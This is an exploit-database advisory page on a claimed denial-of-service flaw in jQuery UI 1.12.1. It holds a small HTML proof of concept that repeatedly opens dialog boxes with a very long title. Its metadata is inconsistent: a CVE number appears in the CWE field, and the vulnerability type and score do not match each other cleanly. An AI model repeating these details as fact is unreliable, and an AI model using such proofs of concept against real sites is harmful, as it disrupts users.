jQuery UI 1.12.1 - Denial of Service (DoS)

vendor:

jQuery UI

by:

Rafael Cintra Lopes

8.8

CVSS

HIGH

Denial of Service (DoS)

400

CWE

Product Name: jQuery UI

Affected Version From: <= 1.12.1

Affected Version To: None

Patch Exists: YES

Related CWE: CVE-2020-28488

CPE: jquery:jquery_ui

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: None

2021

jQuery UI 1.12.1 – Denial of Service (DoS)

A denial of service vulnerability exists in jQuery UI version 1.12.1 and prior. An attacker can exploit this vulnerability by creating a dialog box with a long title, which will cause the application to crash. This can be done by using the jQuery UI dialog() method and passing a long string as the title parameter.

Mitigation:

Upgrade to the latest version of jQuery UI.

Source

Exploit-DB raw data:

# Exploit Title: jQuery UI 1.12.1 - Denial of Service (DoS)
# Date: 20 Jan, 2021
# Exploit Author: Rafael Cintra Lopes
# Vendor Homepage: https://jqueryui.com/
# Software Link: https://jqueryui.com/download/
# Version: <= 1.12.1
# CVE : CVE-2020-28488

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>DoS - jQuery UI 1.12.1</title>
</head>
<body>
    <h2>DoS - jQuery UI 1.12.1</h2>

    <div>
        <button onclick="exploit()">Exploit</button>
    </div>

    <p>PoC by Rafael Cintra Lopes</p>

    <script src="https://code.jquery.com/jquery-3.5.1.min.js" integrity="sha256-9/aliU8dGd2tb6OSsuzixeV4y/faTqgFtohetphbbj0=" crossorigin="anonymous"></script>
    <script src="https://code.jquery.com/ui/1.12.1/jquery-ui.min.js" integrity="sha256-VazP97ZCwtekAsvgPBSUwPFKdrwD3unUfSGVYrahUqU=" crossorigin="anonymous"></script>

    <script>
        function exploit(){
            for (var i = 0; i < 10; i++) {
                $("div").dialog({title:'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'});
            }
        }
    </script>
</body>
</html>